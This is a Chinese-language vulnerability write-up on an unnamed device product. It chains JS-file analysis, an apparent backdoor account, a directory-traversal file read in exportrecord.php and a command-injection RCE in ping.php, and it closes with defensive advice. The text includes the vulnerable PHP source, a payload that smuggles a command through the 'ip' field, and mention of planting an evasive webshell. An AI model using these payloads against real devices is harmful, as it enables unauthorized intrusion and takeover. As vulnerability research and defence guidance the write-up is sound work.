某设备产品漏洞挖掘-从JS文件挖掘RCE
字数 1168 2025-08-03 16:46:33

某设备产品漏洞挖掘:从JS文件挖掘RCE漏洞分析

前言

本文详细记录了一次针对某设备产品的渗透测试过程,通过分析JS文件发现后门账户,进而挖掘出任意文件读取漏洞和远程命令执行漏洞(RCE)的全过程。

信息收集阶段

初始发现

  1. 目标设备登录页面存在滑块验证和账号密码请求包加密
  2. 直接分析JS文件中的密码加密方法较为困难,转而寻找其他接口

目录枚举技巧

  • 目录存在性判断:当目录存在时会自动在后面加上/,例如访问/js会变成/js/
  • 状态码判断:403状态码表示目录存在但无访问权限
  • 使用工具:Gobuster进行目录爆破

爆破结果

/js/ (Status: 403)
/lan/ (Status: 403)
/php/ (Status: 403)
/images/ (Status: 403)
/html/ (Status: 403)
/vendors/ (Status: 403)
/upload/ (Status: 403)

JS文件分析重点

重点关注jsphp目录下的文件:

  1. 爆破js目录下的JS文件
  2. 使用爬虫遍历JS文件并下载到本地分析
  3. 关键发现:/js/index.js文件中包含敏感信息(可能是后门账号或默认密码)

漏洞挖掘阶段

第一阶段:任意文件读取漏洞(exportrecord.php)

发现过程

  1. backup.js文件中发现下载接口:
function downloadBak(index) {
    var data = $('#backupList').bootstrapTable("getData");
    if (index >= 0 && index < data.length) {
        var downurl = '../php/exportrecord.php?downname=' + data[index].id;
        window.open(downurl);
    }
}
  1. 测试downname参数:
/php/exportrecord.php?downname=exportrecord.php

漏洞原理

  • downname参数未对../符号进行过滤,导致目录遍历
  • 可读取服务器上任意文件内容

利用方法

  1. 通过目录爆破获取更多PHP文件名
  2. 使用文件读取漏洞获取这些PHP文件的源代码

第二阶段:远程命令执行漏洞(ping.php)

发现过程

  1. 通过目录爆破发现ping.php文件
  2. 使用文件读取漏洞获取其源代码

漏洞代码分析

function systemopr($type, $ip, $times=4){
     $info = array();     
     if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
           //linux
           if($type == "0"){
               exec("ping -c $times $ip", $info);
           }else if($type == "1"){
               exec("traceroute -m $times -w 1 $ip", $info);
           }else{
               exec($ip, $info);
          }
     }else{
          //windows
          if($type == "0"){
               exec("ping $ip -n $times", $info);
          }else if($type == "1"){
               exec("tracert -h $times -w 1000 $ip", $info);
          }else{
               exec($ip, $info);
          }
     }
     return $info;
}

漏洞原理

  1. 接收jsondata数组中的ip参数,用户可控
  2. 直接拼接进exec函数执行
  3. 执行结果会返回页面,导致回显型RCE

利用方法

  1. Windows系统下测试:
POST /php/ping.php

jsondata[ip]=a|ipconfig&jsondata[type]=1
  1. 写入Webshell:
  • 使用免杀且流量加密的Webshell
  • 尝试获取目标设备权限

总结与防御建议

漏洞链总结

  1. 通过JS文件发现后门账户 → 获取后台权限
  2. 分析JS文件发现文件下载接口 → 发现任意文件读取漏洞
  3. 利用文件读取获取其他PHP文件源码 → 发现RCE漏洞
  4. 最终获取设备完全控制权

防御建议

  1. JS文件安全

    • 避免在JS文件中存储敏感信息
    • 对前端代码进行混淆和压缩
  2. 文件下载接口

    • 严格过滤用户输入,禁止目录遍历字符
    • 限制可下载的文件路径和类型
  3. 命令执行函数

    • 避免直接使用用户输入拼接命令
    • 使用白名单验证输入参数
    • 使用特定API替代通用命令执行函数
  4. 权限控制

    • 最小权限原则,限制后台功能权限
    • 定期审计账户,删除不必要的特权账户
  5. 日志监控

    • 记录所有文件访问和命令执行操作
    • 设置异常行为告警机制

复现注意事项

  1. 复现时发现echo命令可能无法直接写入文件,需要寻找替代方法
  2. 不同系统环境(Linux/Windows)下利用方式可能有所不同
  3. 实际渗透中可能需要结合更多技术绕过防护措施
某设备产品漏洞挖掘:从JS文件挖掘RCE漏洞分析 前言 本文详细记录了一次针对某设备产品的渗透测试过程,通过分析JS文件发现后门账户,进而挖掘出任意文件读取漏洞和远程命令执行漏洞(RCE)的全过程。 信息收集阶段 初始发现 目标设备登录页面存在滑块验证和账号密码请求包加密 直接分析JS文件中的密码加密方法较为困难,转而寻找其他接口 目录枚举技巧 目录存在性判断 :当目录存在时会自动在后面加上 / ,例如访问 /js 会变成 /js/ 状态码判断 :403状态码表示目录存在但无访问权限 使用工具:Gobuster进行目录爆破 爆破结果 JS文件分析重点 重点关注 js 与 php 目录下的文件: 爆破 js 目录下的JS文件 使用爬虫遍历JS文件并下载到本地分析 关键发现: /js/index.js 文件中包含敏感信息(可能是后门账号或默认密码) 漏洞挖掘阶段 第一阶段:任意文件读取漏洞(exportrecord.php) 发现过程 在 backup.js 文件中发现下载接口: 测试 downname 参数: 漏洞原理 downname 参数未对 ../ 符号进行过滤,导致目录遍历 可读取服务器上任意文件内容 利用方法 通过目录爆破获取更多PHP文件名 使用文件读取漏洞获取这些PHP文件的源代码 第二阶段:远程命令执行漏洞(ping.php) 发现过程 通过目录爆破发现 ping.php 文件 使用文件读取漏洞获取其源代码 漏洞代码分析 漏洞原理 接收 jsondata 数组中的 ip 参数,用户可控 直接拼接进 exec 函数执行 执行结果会返回页面,导致回显型RCE 利用方法 Windows系统下测试: 写入Webshell: 使用免杀且流量加密的Webshell 尝试获取目标设备权限 总结与防御建议 漏洞链总结 通过JS文件发现后门账户 → 获取后台权限 分析JS文件发现文件下载接口 → 发现任意文件读取漏洞 利用文件读取获取其他PHP文件源码 → 发现RCE漏洞 最终获取设备完全控制权 防御建议 JS文件安全 : 避免在JS文件中存储敏感信息 对前端代码进行混淆和压缩 文件下载接口 : 严格过滤用户输入,禁止目录遍历字符 限制可下载的文件路径和类型 命令执行函数 : 避免直接使用用户输入拼接命令 使用白名单验证输入参数 使用特定API替代通用命令执行函数 权限控制 : 最小权限原则,限制后台功能权限 定期审计账户,删除不必要的特权账户 日志监控 : 记录所有文件访问和命令执行操作 设置异常行为告警机制 复现注意事项 复现时发现 echo 命令可能无法直接写入文件,需要寻找替代方法 不同系统环境(Linux/Windows)下利用方式可能有所不同 实际渗透中可能需要结合更多技术绕过防护措施